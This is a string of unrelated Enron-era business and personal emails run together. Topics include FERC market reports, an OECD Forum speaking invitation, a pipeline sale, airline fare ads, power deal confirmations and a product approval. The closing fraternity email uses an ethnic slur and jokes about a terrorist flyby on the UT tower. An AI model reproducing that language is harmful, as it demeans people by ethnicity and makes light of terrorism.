Good News.  FERC issued three reports yesterday:  a Response of the Staff of 
the FERC to Questions Posed at December 20, 2000 Western Governors 
Association Denver Meeting; a Staff Report to the FERC on Northwest Power 
Markets in Nov. and Dec. 2000; and a Report on Plant Outages in the State of 
California.  All three reports can be downloaded from FERC's page on bulk 
power markets, found at http://www.ferc.fed.us/electric/bulkpower.htm. 

From a quick scan of the pricing and outage reports, the results are very 
favorable.  FERC found no evidence that plants were down for other than 
maintenance or emissions problems.  The pricing report found that prices in 
the NW during the two months tracked the increased demand and supply 
shortfall.

Hi Dr. Pershing -

Will you please verify the dates again with me?  Is the 3:00 p.m. panel on 
Monday or Tuesday?

Thanks.

Rosalee

"PERSHING Jonathan, IEA/LTO" <Jonathan.PERSHING@iea.org> on 04/24/2001 
11:08:56 AM
To: "'Kenneth.Lay@enron.com'" <Kenneth.Lay@enron.com>
cc:  
Subject: RE: for Rosalee - re Mr. Lay's participation at IEA ministerial

Dear Rosalee,

 I would again like to thank Mr Lay for agreeing to take part in both
our IEA ministerial session and in the OECD Forum 2001 - Sustainable
Development and the New Economy.  As discussed, he is to chair the first of
two energy panels at the FORUM; his is titled "Fuelling Sustainable
Development".  On his panel will be Mr Kurt Yeager of EPRI (speaking on
hydrocarbon issues), Mr Luis Echavarri, the head of the OECD's Nuclear
Energy Agency (speaking on nuclear power), and Danish Minister of Energy and
Environment, Svend Auken (speaking on renewables and energy efficiency).
The panel is scheduled to take place starting at 3pm at the Cit, des
Sciences et de l'Industrie, in La Villete, in northern Paris.

As I believe I noted in our previous e-mail communications, while the IEA is
responsible for organising our ministerial session and the substantive
issues related to the energy panels on the FORUM, the OECD is doing the
FORUM logistics.  They have therefore asked that I forward to all speakers
the following note (see below). It asks that Mr Lay provide a number of
logistical inputs, including a biography and photo, as well as information
on any remarks he might choose to make. I note that as the chair of the
first energy panel, he may not wish to make a formal presentation -- but
time does permit this if he wishes, and the decision is at his discretion.
I would appreciate being a cc on any material you send to the OECD so we can
keep our files current.

On our own side, the IEA concluded its Governing Board Meeting last Friday,
and finally approved the ministerial session agenda and arrangements.  While
Mr Priddle will be sending out a formal invitation and set of background
documents to Mr Lay this week, I wanted to give you a heads up and find out
if you had any "last-minute" questions which I might help answer.

In addition, I note that your last e-mail indicated Mrs Lay will be in Paris
during our session.  Some of our ministerial representatives are also
planning to bring spouses (in particular US Energy Secretary Abraham, who is
coming with his wife) -- do you think Mrs Lay might wish to participate in
any events during this period with any of these others?  If you let us know,
we would be happy to make arrangements.

Also, please let us know if others will be travelling with Mr Lay, and if we
might facilitate their logistics.

Jonathan Pershing

________________________
Jonathan C. Pershing, PhD.
Head, Energy and Environment Division
International Energy Agency
75739 PARIS Cedex 15
FRANCE
Tel:  (33-1)40 57 67 20
Fax:  (33-1)40 57 67 39
e-mail: jonathan.pershing@iea.org

**********************
OECD ATTACHMENT

 We will be writing to you shortly concerning the final title and
time of your session, and how the session will be conducted. If you have any
questions that you wish to raise in the meantime, please do not hesitate to
contact John West, Forum Director, who can be reached at (33.1) 45.24.80.25,
or by e-mail at john.west@oecd.org.  In the meantime, I would be very
grateful if you could provide us with the following information.

YOUR ARRIVAL AT THE FORUM VENUE
 As you may know, the Forum is being held at the Cit, des Sciences et
de l'Industrie, La Villette, 30, avenue Corentin-Cariou, 75930 Paris cedex
19, Telephone : (33-1) 40 05 70 00.  More information about how to access
the La Villette conference centre is available on our Internet site at
http://www.oecd.org/forum2001/about/transport.htm .

  We recommend that you arrive at least one hour before your
session starts.  On arrival, you will be met by the OECD protocol team and
taken to the "Speakers' Lounge" where you can meet the other speakers and
moderator.  Once your travel arrangements are finalised, we would be
grateful if you could send us your arrival and departure times on the
enclosed Speakers Administration Form.

Speakers Administration Form:

 (SEE ATTACHMENT)

YOUR PERSONAL INFORMATION

Short career biography (1/2 page A4) in French and English
Photograph (colour or black/white)

 The biography should be sent as a word document by return email
along with a photograph in jpeg or tiff format or an original. This material
is required as soon as possible.  It will be included on the Forum web site
and printed in the conference documentation, which will be given to all
delegates on arrival at the Forum.

AUDIO VISUAL REQUIREMENTS

  Please complete the enclosed Speakers Administration Form,
which asks you to detail your audio-visual requirements.  Please note that
because of the expected size of the audience, overhead projector slides are
not suitable and 35mm slides or graphic presentations (PowerPoint) should be
used.  If you wish to use graphic presentations and/or video we will need
your materials provided ahead of the event as hard copy, on disc or by
email. You will also need to bring a disc with you.

  There will be interpretation into English and French
throughout the sessions.

ACCOMMODATION & TRAVEL

  If you require overnight accommodation near La Villette, we
recommend that you consult the following website that provides information
on hotels where discount prices have been negotiated -
http://www.expotel.co.uk/?EVENTCODE=OECD2001.

  I would also like to draw to your attention that discounted
travel is available on Air France and Eurostar -- please consult the Forum
internet site at http://www.oecd.org/forum2001/about/transport.htm for more

CONFERENCE SOCIAL EVENTS

  You are invited to attend the whole Forum. Information about
social events, included special social events for speakers will be furnished
to you shortly.

ACCOMPANYING PERSONS

  We would also be very grateful if you could inform us of any
persons who may be accompanying you to the Forum.  They will naturally be
given free entrance to all Forum events.

PRESS AND PUBLICITY

  The Forum is attracting substantial media attention and we
would like to know if you would be interested in participating in interviews
or photocall opportunities.

  Meggan Dissly (meggan.dissly@oecd.org - Tel:
33.1.45.24.80.94) from the OECD Media Relations Division, is responsible for
Forum media relations and may be in contact with your office regarding
possible press opportunities. Please could you confirm the appropriate press
contact in your office.

  If you have any queries, please do not hesitate to contact
Mr. John West or myself.  Thank you again for your participation in the
Forum and I look forward to meeting you in Paris.

 Your sincerely,

Nadine N'Diaye-Robinson
Internet site and Operations Manager
OECD Forum 2001 - Sustainable Development and the New Economy
http://www.oecd.org/Forum2001/
* Nadine.Ndiaye-Robinson@OECD.org
( +33 1. 45.24.80.61
: +33 1. 44.30.63.46

 - Speaker Admin form.doc

Contrary to popular belief, the people that actually show up to the game do 
have other things they can do if they know that the other team members will 
not show up.  So, let me know whether or not you will be there.

The phone number for Trent dail up has changed. The new number is 
915-862-0045. The old number belong to AEP and is connected to the substation.

Please inform anyone not on this list that you think needs notified.

Mike

From: 	Hayslett, Rod  
Sent:	Tuesday, November 27, 2001 12:15 PM
To:	Ratner, Michael
Subject:	RE: Trailblazer w/S.Horton, D.McCarty

you may need to attend for continuity reasons.

From: 	Ratner, Michael  
Sent:	Tuesday, November 27, 2001 11:19 AM
To:	Hayslett, Rod

I have not really been involved in the evaluation, but will be happy to attend.

Sent:	Tuesday, November 27, 2001 11:11 AM
Cc:	Howard, Kevin A.

You should plan on attending the meeting then tomorrow with Kevin.   It's 9-10 in Stan's Office.

Sent:	Tuesday, November 27, 2001 11:07 AM
To:	Hayslett, Rod; Howard, Kevin A.

We have done an evaluation that showed our interest to be worth the following:

10%		12.5%		15%
$84mm		$73mm		$64mm

If you want to see the model let me know.

Cheers.

Sent:	Tuesday, November 27, 2001 6:56 AM
Cc:	Ratner, Michael

They took bids and I think have an offer of about $60 MM or so.

Michael: What do you know about this one?

Sent:	Tuesday, November 27, 2001 6:53 AM

yes, what is the deal that sounds reasonable?   

Sent:	Tuesday, November 27, 2001 6:27 AM
Subject:	FW: Trailblazer w/S.Horton, D.McCarty

Can you attend this one for me?     They are working on the sale of our interest in the Trailblazer Pipeline.    Sounds like a reasonable deal to me.

 << Message: Trailblazer w/S.Horton, D.McCarty >> 

Sandi asked me to forward the attached cost benefit analysis from
Governor Davis regarding the Edison MOU.

http://www.governor.ca.gov/govsite/pdf/issues/benefit-cost_final.pdf

---------------------- Forwarded by Darron C Giron/HOU/ECT on 03/19/2001 
12:28 PM ---------------------------

Carlos Giron <cgiron@mindspring.com> on 03/14/2001 04:43:23 PM
To: Glenn Bohan <gbohan@home.com>, Darron C Giron <dgiron@enron.com>, Brian 
Subieville <BSubie@aol.com>, Lola Savannah <lola@pdq.net>, Michael Massimi 
<massimi@hotmail.com>
cc:  
Subject: [Fwd: Fw: NIke iD shoes]

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From: "grant whipple" <grant.w@mindspring.com>
To: "Carlos Giron" <cgiron@mindspring.com>
Subject: Fw: NIke iD shoes
Date: Wed, 14 Mar 2001 15:37:58 -0800
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?
----- Original Message -----  
From: Barnett, Linda  
To: Becky Runge (E-mail) ; Buckli Stanga  (E-mail) ; Chris  White (E-mail) ; 
Eddie Barnette (E-mail) ; Eddie Whipple  (E-mail) ; Grant Whipple (E-mail) ; 
Gseaman590308010 (E-mail) ; Hutchison,  Karen ; Ric  Mora (E-mail) ; Virgil_ 
Barbara and Family (E-mail) ; Seaman, Gary  C. 
Cc: Hatch, Mary C. ; Ribera, Cindi  L. 
Sent: Wednesday, March 14, 2001 8:39 AM
Subject: FW: NIke iD shoes

From:  Humphrey, Autumn B. 
Sent: Monday, March 12, 2001 5:52  PM 
To: Greg Wines; Barnett, Linda; Carpenter, Tanya K.;  McKay, Scott A. 
Cc: jjjk@aol.com 
Subject: FW:  NIke iD shoes 

From: Glenn A  Miller [mailto:glennmill@juno.com] 
Sent: Monday, March 12, 2001 4:03 PM 
To: JanetMoshier@cruisesinc.com; Piponi@aol.com; kperry@family.net; 
rosscott@pacbell.net; Tishndic@gateway.net; budsteffen@earthlink.net;  
ABHUMPHR@scwater.com;  Schneblyw@cs.com; syndeelynn@Yahoo.com; 
jejenkins@earthlink.net; SRush22529@aol.com; Lindsey444@aol.com; 
melita_miller@sbcss.k12.ca.us;  Kcromp3011@aol.com; TSchofi527@aol.com 
Subject: Fw: NIke iD shoes 

--------- Forwarded message ---------- 
From: Terri Harry <tpharry@flash.net> 
To: Undisclosed-recipients:; 
Date: Fri, 09 Mar  2001 09:02:12 -0800 
Subject: NIke iD shoes  
Message-ID: <3AA90C94.74BC2CE2@flash.net>  

Hi 
If you've aleady received this, my  apologies. On the other hand, if not, 

please read and forward around the world. 

Nike now lets you personalize your shoes by submitting a word or  phrase 
which they will stitch onto your shoes, under the  swoosh. So Jonah 
Peretti 
filled  out the form and sent them $50 to stitch "sweatshop" onto his 
shoes. 

Here's the responses he got... fun and games with Nike...  

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *   
From: "Personalize, NIKE iD"  <nikeid_personalize@nike.com> 
To: "'Jonah H.  Peretti'" <peretti@media.mit.edu> 
Subject: RE:  Your NIKE iD order o16468000 

Your NIKE iD order was cancelled for one or more of the  following 
reasons: 

1) Your Personal iD contains another party's trademark  
2) Your Personal iD contains the name of an athlete or team we  do not 
have 
the legal right to  use 
3) Your Personal iD was left blank. Did you not want  any 
personalization? 
4) Your  Personal iD contains profanity or inappropriate slang, and 
besides, 
your mother would slap us.  
If you wish to reorder your NIKE iD product with a new  personalization 
please visit us again at  www.nike.com 

Thank you, NIKE iD 

From: "Jonah H. Peretti" <peretti@media.mit.edu>  
To: "Personalize, NIKE iD"  <nikeid_personalize@nike.com> 
Subject: RE: Your  NIKE iD order o16468000 

Greetings, 

My order was canceled but my personal NIKE iD does not violate  any of 
the 
criteria outlined in  your message. The Personal iD on my custom ZOOM XC 
USA 
running shoes was the word  "sweatshop." 
Sweatshop is not: 
1) another's party's trademark, 
2) the name of an  athlete, 
3) blank, or 
4)  profanity. 

I choose the iD because I wanted to remember the toil and labor  of the 
children that made my shoes. Could you please  ship them to me 
immediately. 

Thanks and Happy New Year, Jonah Peretti 

Dear NIKE iD Customer, 

Your NIKE iD order was cancelled because the iD you have  chosen 
contains, as 
stated in  the previous e-mail correspondence, "inappropriate slang". 
please visit us again at nike.com  

Dear NIKE iD, 

Thank you for your quick response to my inquiry about my custom  ZOOM XC 
USA 
running shoes.  Although I commend you for your prompt customer service, 
I 
disagree with the claim that my personal iD  was 
inappropriate slang. After consulting Webster's  Dictionary, I discovered 

that "sweatshop" is in fact part of standard English, and not  slang. 

The word means: "a shop or factory in which workers are employed  for 
long 
hours at low wages and  under unhealthy conditions" and its origin dates 
from  1892. So my personal iD does meet the criteria detailed in your 
first 
email. 

Your web site advertises that the NIKE iD program is "about  freedom to 
choose and freedom to express who you are." I  share Nike's love of 
freedom 
and  personal expression. The site also says that "If you want it 
done right...build it yourself." I was thrilled to be able to build  my 
own 
shoes, and my personal iD  was offered as a small token of appreciation 
for  
the sweatshop workers poised to help me realize my vision. I  hope that 
you 
will value my  freedom of expression and reconsider your decision to 
reject 
my order. 

Thank you, Jonah Peretti 

Regarding the rules for personalization it also states on the  NIKE iD 
web 
site that "Nike  reserves the right to cancel any personal iD up to 24 
hours 
after it has been submitted". In addition,  it further explains: "While 
we 
honor most personal iDs, we cannot honor every one. 
Some may be (or contain) other's trademarks, or the names of  certain 
professional sports teams, athletes or  celebrities that Nike does not 
have 
the right to use. Others may contain material that we consider  
inappropriate or simply do not want to place on our  products. 
Unfortunately, at times this obliges us to  decline personal iDs that may 

otherwise seem unobjectionable. In any event, we will let you  know if we 

decline your personal iD, and we will offer you the chance to  submit 
another." With these rules in mind, we cannot  accept your order as 
submitted. If you wish to reorder  your NIKE iD product with a new 
personalization please  visit us again at www.nike.com 

Thank you for the time and energy you have spent on my request.  I have 
decided to order the shoes with a different iD,  but I would like to make 
one 
small request. Could you please send me a color snapshot of the  
ten-year-old Vietnamese girl who makes my shoes? 

Thanks, 
Jonah Peretti 

As one forwarder writes: 

... this will now go round the world much farther and faster  than any of 
the 
adverts they  paid Michael Jordan more than the entire wage packet of all 

their sweatshop workers in the world to do... 

I normally avoid making a plea to pass on these things,  
but this time I say: 

JUST DO IT 

________________________________________________________________  
GET INTERNET ACCESS FROM JUNO! 
Juno  offers FREE or PREMIUM Internet access for less! 
Join  Juno today!? For your FREE software, visit: 
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November 20, 2001
Southwest Airlines' Click 'n Save E-mail Update

A message to our Customers:

You can't mail a hug
You can't have a family reunion via e-mail
You can't taste homemade pumpkin pie over the phone

Some things are just better in person

Luv,
33,000+ Employees of Southwest Airlines

*****************Important Travel Information******************

For updated travel information, visit:
http://www.southwest.com/travel_center/travelAdvisory.html

**************This week's specials include:*******************

1. Click 'n Save and Anniversary Specials
2. Southwest Airlines Systemwide Fare Sale 
3. Subscriber Information

********* Click 'n Save and Anniversary Specials ***********

$30 - $99 one-way 
These specials are available for travel any day of the 
week with a 7-day advance purchase requirement.

Specials available this week are:

Albany, NY
 $59 one-way, to/from Columbus, OH
 $65 one-way, to/from Nashville, TN
  
 $34 one-way, to/from Tucson, AZ
 $99 one-way, to/from Tulsa, OK
  
 $99 one-way, to/from Corpus Christi, TX
 $63 one-way, to/from San Antonio, TX
  
Austin, TX
 $61 one-way, to/from El Paso, TX
 $99 one-way, to/from Phoenix, AZ
  
 $30 one-way, to/from Cleveland, OH
 $37 one-way, to/from Louisville, KY
 $30 one-way, to/from Norfolk, VA/Southern Virginia
  
 $99 one-way, to/from Manchester, NH
 $54 one-way, to/from St. Louis, MO
  
Boise, ID
 $66 one-way, to/from Sacramento, CA
 $30 one-way, to/from Salt Lake City, UT
  
Buffalo/Niagara Falls, NY
 $48 one-way, to/from Norfolk, VA/Southern Virginia
 $70 one-way, to/from West Palm Beach, FL
  
 $30 one-way, to/from Sacramento, CA
 $30 one-way, to/from San Jose, CA
  
Chicago Midway, IL
 $99 one-way, to/from Houston Hobby, TX
 $65 one-way, to/from Jackson, MS
 $41 one-way, to/from Omaha, NE
  
 $30 one-way, to/from Baltimore Washington Int'l, MD
 $63 one-way, to/from Manchester, NH
  
 $59 one-way, to/from Albany, NY
 $64 one-way, to/from Kansas City, MO
  
 $99 one-way, to/from Amarillo, TX
 $99 one-way, to/from Lubbock, TX
  
Dallas Love Field, TX
 $56 one-way, to/from El Paso, TX
 $36 one-way, to/from Oklahoma City, OK
  
 $99 one-way, to/from Hartford, CT/Springfield, MA
 $52 one-way, to/from Raleigh-Durham, NC
  
El Paso, TX
 $61 one-way, to/from Austin, TX
 $56 one-way, to/from Dallas Love Field, TX
  
 $30 one-way, to/from Jacksonville, FL
 $30 one-way, to/from Tampa Bay, FL
  
Harlingen/South Padre Island, TX
 $99 one-way, to/from Midland/Odessa, TX
  
 $99 one-way, to/from Detroit, MI
 $99 one-way, to/from Tampa Bay, FL
  
Houston Bush Intercontinental, TX
 $56 one-way, to/from Tulsa, OK
  
Houston Hobby, TX
 $99 one-way, to/from Chicago Midway, IL
 $67 one-way, to/from Nashville, TN
  
 $99 one-way, to/from Los Angeles, CA
 $99 one-way, to/from Providence, RI
  
 $65 one-way, to/from Chicago Midway, IL
 $99 one-way, to/from St. Louis, MO
  
 $30 one-way, to/from Ft. Lauderdale/Hollywood, FL
 $68 one-way, to/from Long Island/Islip, NY
  
 $64 one-way, to/from Columbus, OH
 $36 one-way, to/from Nashville, TN
  
 $34 one-way, to/from Los Angeles, CA
 $34 one-way, to/from Ontario, CA
  
 $68 one-way, to/from Jacksonville, FL
 $57 one-way, to/from Louisville, KY
  
 $99 one-way, to/from Indianapolis, IN
 $34 one-way, to/from Las Vegas, NV
  
 $37 one-way, to/from Baltimore Washington Int'l, MD
 $57 one-way, to/from Long Island/Islip, NY
  
 $99 one-way, to/from Harlingen/South Padre Island, TX
  
 $99 one-way, to/from Birmingham, AL
 $63 one-way, to/from Cleveland, OH
  
 $99 one-way, to/from Little Rock, AR
  
 $65 one-way, to/from Albany, NY
 $67 one-way, to/from Houston Hobby, TX
 $36 one-way, to/from Kansas City, MO
  
 $46 one-way, to/from Orlando, FL
 $46 one-way, to/from Tampa Bay, FL
  
Norfolk, VA/Southern Virginia
 $48 one-way, to/from Buffalo/Niagara Falls, NY
  
 $46 one-way, to/from Portland, OR
 $50 one-way, to/from Salt Lake City, UT
  
 $36 one-way, to/from Dallas Love Field, TX
 $60 one-way, to/from San Antonio, TX
  
Omaha, NE
 $41 one-way, to/from Chicago Midway, IL
 $99 one-way, to/from Reno/Tahoe, NV
  
 $30 one-way, to/from Phoenix, AZ
  
 $46 one-way, to/from New Orleans, LA
 $30 one-way, to/from West Palm Beach, FL
  
 $99 one-way, to/from Austin, TX
 $30 one-way, to/from Ontario, CA
  
 $46 one-way, to/from Oakland, CA
 $99 one-way, to/from San Diego, CA
  
 $52 one-way, to/from Detroit, MI
 $99 one-way, to/from San Antonio, TX
  
 $99 one-way, to/from Omaha, NE
 $48 one-way, to/from Seattle/Tacoma, WA
  
 $66 one-way, to/from Boise, ID
 $30 one-way, to/from Burbank, CA
  
 $30 one-way, to/from Boise, ID
 $50 one-way, to/from Oakland, CA
  
 $63 one-way, to/from Amarillo, TX
 $60 one-way, to/from Oklahoma City, OK
 $99 one-way, to/from Raleigh-Durham, NC
  
 $99 one-way, to/from Portland, OR
 $30 one-way, to/from Tucson, AZ
  
 $58 one-way, to/from Spokane, WA
  
 $48 one-way, to/from Reno/Tahoe, NV
 $30 one-way, to/from Spokane, WA
  
 $58 one-way, to/from San Jose, CA
 $30 one-way, to/from Seattle/Tacoma, WA
  
 $54 one-way, to/from Birmingham, AL
 $99 one-way, to/from Jackson, MS
  
Tucson, AZ
 $34 one-way, to/from Albuquerque, NM
 $30 one-way, to/from San Diego, CA
  
Tulsa, OK
 $99 one-way, to/from Albuquerque, NM
 $56 one-way, to/from Houston Bush Intercontinental, TX
 $56 one-way, to/from Houston Hobby, TX
  
 $70 one-way, to/from Buffalo/Niagara Falls, NY
 $30 one-way, to/from Orlando, FL

Details for this week's Click 'n Save and 
Anniversary Specials:

*Available only on southwest.com.
*7-day advance purchase required.
*Available on published, scheduled service.
*Travel any day of the week
*Fares shown are one-way and do not include federal
 excise tax of up to $3.00 for each flight segment. 
 (a segment is defined as a takeoff and landing)
*Fares do not include airport-assessed passenger 
 facility charges (PFC) of up to $9 one-way.
*Fares are nonrefundable, but (except for tickets 
 purchased through our Group Tickets Program) 
 may be applied toward future travel on Southwest Airlines. 
*Travel November 27, 2001 through April 5, 2002, 
 except for December 21, 22, 28-30, 2001, and January 1, 2002.
*Purchase through November 22, 2001,  midnight Pacific Time.
*Fares are available one-way or can be combined 
 with other fare types.  Most restrictive rules of combined
 fares will apply.
*Penalty applies to any changes made after purchasing
 Southwest Internet Specials.

For more details, please visit us at:
http://www.southwest.com/jp/hotfares2.shtml?src=1120

****************southwest.com Featured Destination**********

This week's Featured Destination is the warmth and comfort
of your family dinner table.  We wish you many joys this 
holiday season.  At Southwest Airlines, we are thankful to have 
wonderful Customers like you.
  
Happy Thanksgiving.

**************** Additional Information section *****************

Additional information you need to know about all of our 
air fare specials:

*Changes to any portion of the reservation 
 (flight, dates, cities, and/or names of passengers), 
 once purchased, will result in the cancellation of 
 the ENTIRE reservation and rebooking at the lowest 
 fare available which could result in a fare increase. 
*Southwest specials are nonchangeable 
 and nonrefundable. 
*Ticketless Travel may be purchased online using 
 either a credit card or by utilizing funds from a 
 previously unused or cancelled Ticketless 
 Travel reservation(s).  Funds from up to four cancelled 
 or unused Ticketless Travel reservation records can 
 be combined to purchase a new Ticketless Travel
 reservation record.  Southwest Airlines travel credit 
 (e.g., travel voucher, gift certificate, discount coupon) 
 may not be used as forms of payment for 
 Ticketless Travel Online.
*Unused funds may be applied toward future travel on 
*Seats are limited and won't be available on some 
 flights that operate during very busy travel times 
 and holiday periods such as Christmas and New Years.
*Standby travel requires an upgrade to the 

********* Southwest Airlines Systemwide Fare Sale ***********

$39-$99 each way Promotional Fare Specials with 7-day 
Advance Purchase for travel Tuesday, Wednesday, and 
Saturday.

$44-$129 each way for travel Monday, Thursday,
Friday, and Sunday.

For additional information, please visit:
http://www.southwest.com/travel_center/genmkt_110901.html?src=e1120

******************** Subscriber Information ***********************
Please pass this great news on to your friends.
To subscribe to Southwest Airlines Click 'n Save E-mail 
Updates, visit: 

you will need to unsubscribe and resubscribe in order 
to continue receiving Click 'n Save E-mail Updates.
For administration on your e-mail subscription, please visit:
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You may retrieve and print a copy of your Southwest 
Airlines Ticketless Travel at: 
http://www.southwest.com/travel_center/retrieveItinerary.html

Questions about your flight arrival or departure time?  
Please visit us at:
http://www.southwest.com/flifo/

---
You are currently subscribed to special-offers as: ebass@enron.com

Deal details....

420529    432854    420554    420563
LTNW buys Grant Cty  LTNW sells Grant Cty  LTNW buys Grant Cty  LTNW sells 
Grant Cty
N-01    K01-M01 & K06-M06  N-06    7/20/05
RTC    RTC    RTC    HE 1
50 MW    50 MW    50 MW    1 MW
MID-C    MID-C    MID-C    MID-C
zero price   zero price   zero price   annuity price - 470,000
    (annuity leg - price 570,000)
---------------------- Forwarded by Kate Symes/PDX/ECT on 03/06/2001 11:42 AM 
---------------------------  
   Kate Symes                03/06/2001 08:34 AM

To: Holli Krebs/HOU/ECT@ECT
cc:  

Subject: Confirm Letters - Grant County

I've got one more deal that Houston says they haven't received a signed 
confirm letter for - 420529. Stephanie Piwetz says she spoke to Grant County 
and they said they already sent out that one and 432854, but haven't received 
them back from us......???? Do you know where they are?

Kate

(From 2/26/01)
Just something to keep in mind - 
The confirms group in Houston is waiting on signed confirm letters from Grant 
County for the following three deals -

432854
420554
420563

I've let Stephanie Piwetz and Sharen Cason know that you'll forward the 
letters on to them once you receive them. Or you can give them to me and I'll 
fax them over. Keep me posted on the progress.

Thanks,
Kate

Anita,

 It seems that I am going to London next week.  Please see forwarded emails. 

 Can you please assist me with my travel arrangements.

THanks,
Iris

From:  Kaminski, Vince  
Sent: Tuesday, April 24, 2001 5:25 PM
To: Shanbhogue, Vasant; Mack, Iris; Dhar, Amitava; Kaminski, Vince
Subject: Having Iris visit London

It's OK to delay the materials for Duffie. He is very busy anyway and is not 
going to complain.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/24/2001 

Scott Salmon@ENRON
04/24/2001 01:23 PM
To: Amitava Dhar/Corp/Enron@ENRON
cc: Vince J Kaminski/HOU/ECT@ECT, Vasant Shanbhogue/Enron@EnronXGate, Ben 
Parsons/LON/ECT@ECT, George Albanis/LON/ECT@ECT, Tomas Valnek/LON/ECT@ECT, 
Bryan Seyfried/LON/ECT@ECT 

Hi Amitava,

We've been doing some thinking and discussing here regarding the information 
on our modelling process we'll provide to Darryl Duffie.  We think it would 
be extremely valuable for Iris to come out to London for a couple weeks to 
gain a better understanding of the how the models integrate and are truly 
employed.  I think this would greatly enhance the "product" we'll send to 
Duffie as well as giving Iris a firm view of Enron Credit.  In addition, she 
could also explore some of the data sources such as Amadeus and others that 
might be helpful in private firm modelling.  If we're extremely 
efficient/lucky in receiving data from D&B or Experian, she might be able to 
begin analysis on that for the private model efforts.

I would recommend she plan on coming out for 2 weeks starting the week of 30 
Apr perhaps.  Depending on the progress with the private firm data sources, 
it probably makes sense to send her back to Houston to work on calibration 
sets with a likely return visit to London as required.

Please let me know your thoughts.

Cheers,
Scott

Enron Fuels International, Inc., company #494-EFII, has withdrawn its authorization in the following state(s) on the date(s) given:

			Colorado	September 4, 2001
			Florida		September 4, 2001
			Illinois		September 5, 2001
			Indiana		September 4, 2001
			Iowa		August 31, 2001
			Kansas		November 5, 2001
			Nebraska	September 5, 2001

Please circulate this information to all interested parties within your group.

PLEASE NOTE:
Nony Flores - copy of evidence being sent by interoffice mail
Vicsandra Trujillo - copy of evidence being sent by interoffice mail
Sylvia Hu - original certificate(s) delivered by messenger

Lillian R. Bailey
Administrator
Corp. Services
EB4863
Ext. 33577
Telephone 713/853-3577
Fax 713/646-8007
lillian.bailey@enron.com

From: 	Frank, Carole  
Sent:	Monday, November 05, 2001 10:02 AM
To:	Staab, Theresa
Subject:	Article

http://cbs.marketwatch.com/news/story.asp?guid=%7B49235843%2DCE2F%2D4B48%2D9F1C%2DCB5FEDF47C22%7D&siteid=mktw

Carole C, Frank

713.345.3960 work
713.446.9307 cell

The product long description below will fall under the new product type US=
=20
Plastic RGC3 Physical Forward.  Credit (Tom Moran) has approved copying the=
=20
profiles for the new product type from the following:

 US Styrene FOB Physical Forward

Please respond by Monday, April 2.

Thank you.
---------------------- Forwarded by Lisa Lees/HOU/ECT on 03/29/2001 04:43 P=
M=20

Chris Walker
03/29/2001 02:28 PM
To: Jeff Blumenthal/Enron@EnronXGate, Susan Musch/Enron@EnronXGate, Bjorn=
=20
Hagelmann/Enron@EnronXGate, Mark Taylor/HOU/ECT@ECT, John=20
Viverito/Corp/Enron@Enron, Michael A Robison/HOU/ECT@ECT, Tom=20
Moran/Enron@EnronXGate, Anjali Abraham/Enron@EnronXGate, John=20
Swinney/Enron@EnronXGate, Alexia Gonzales/Enron@EnronXGate
cc: Lisa Lees/HOU/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, Tana=20
Jones/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT, Kelly Lombardi/NA/Enron@Enron=
,=20
Tara Sweitzer/HOU/ECT@ECT, Dawn C Kenne/HOU/ECT@ECT, Torrey=20
Moorer/HOU/ECT@ECT, Kevin Meredith/Corp/Enron@ENRON, Melba=20
Lozano/HOU/ECT@ECT, Robert B Cass/HOU/ECT@ECT=20
Subject: Product Type Aprroval Needed! (US PlasticRGC3 Phy Fwd)

Your approval is needed for the following new product type in Datamanager. =
=20
Please see the steps for approval below.

Thanks,

CW
3-7533

US PlasticRGC3 Phy Fwd

A Transaction with Enron Petrochemicals Company, a division of Enron Liquid=
=20
Fuels, Inc., under which the Seller shall sell and the Buyer shall purchase=
,=20
at the Delivery Location specified below and at the specified=20
quantity/tolerance, quality and price, a stream of  refinery grade=20
propylene.  The stream shall include: refinery grade propylene with minimum=
=20
purity 65% propylene, a maximum of 2% butanes and heavier, a maximum of 1%=
=20
ethanes and lighter, a maximum of 10 ppm of sulfur, 1 copper strip test, wi=
th=20
propane as the remaining balance (the =01&Stream=018). The quantity shall b=
e the=20
volume submitted by Counterparty via the Website.

The term of the Transaction shall correspond to the date(s) set forth in th=
e=20
Product description on the Website.

The transaction is for delivery via scheduled pipeline to Dynegy Storage,=
=20
Mont Belvieu, Texas.  Title to and risk of loss of the product shall pass t=
o=20
Buyer when the product enters the receiving inlet valve of the storage well=
. =20
The price  shall be determined as follows: (a) the price for contained=20
Propylene shall be the price submitted by Counterparty via the Website, and=
=20
(b) the price for all other components shall be the 'Avg' price for Liquefi=
ed=20
Propane Gas published in the table entitled 'Mont Belvieu Spot Gas Liquids=
=20
Prices' under the heading 'Non-TET Propane:  Any Current Month in the issue=
=20
of Oil Price Information Service ('OPIS') that reports prices effective for=
=20
each month during the term of the Transaction.

The price is quoted in cents (US) per unit of measure which will be the=20
Contractual Currency.  The volume quoted on the Website is in barrels for t=
he=20
entire Stream.

The unit of measure against which the price is quoted for the entire Stream=
=20
shall be as follows: (a) contained propylene shall be quoted in cents per=
=20
pound (lb) and (b) all other components shall be quoted in cents per gallon=
=20
(gal) as specified in the OPIS publication described above.

STEPS FOR APPROVAL:

click the  START button=20
select  PROGRAMS
select  TEST APPLICATIONS
select ENRONONLINE CLUSTER(PROD)
 PROCEED WITH USUAL LOGIN/PASSWORD=20
click the Enron Online Production Cluster "START" button =20
select EnronOnLine (this is the EOL Datamanager)
 PROCEED WITH EOL LOGIN/PASSWORD
click on the "+" for EnronOnLine
click on the "+" for Product Types
click on the "+" for "Awaiting Approval" (OR  "Partially Approved")
select the product requiring review as stated in e-mail above
Right "mouse" click on "properties" to view product set-up=20
TO APPROVE:  Right mouse click on "Approved"

Smack Nabb!!!!  It is great to see you are still alive.
As I learned that email was from you all I could hear was you
asking Elsie "gimme a little of that buck buck soup!".

Randall Harman (fka "Tocks") #451

From: samuraimai@aol.com [mailto:samuraimai@aol.com]
Sent: Wednesday, October 31, 2001 1:50 PM
To: smu-betas@yahoogroups.com
Subject: Re: [smu-betas] Dent's wrath

HAPPY HOLLOWEEN  FROM SAMURAIMAI  (#457 CLASS OF '73)

  Regarding U T winning the national championship.  What a JOKE!  I have
arranged to have the "JUNIOR COLLEGE'S" TOWER here in Austin demolished, as
it is the preferred site for the proposed Blanton Museum.  The tower will
never glow orange again.  It's also on the second tier target list for the
raghead's next flyby.
Best regards.  -KAI-

At Homecoming 2000, the BETA TENT had the biggest crowd by far.  Stay
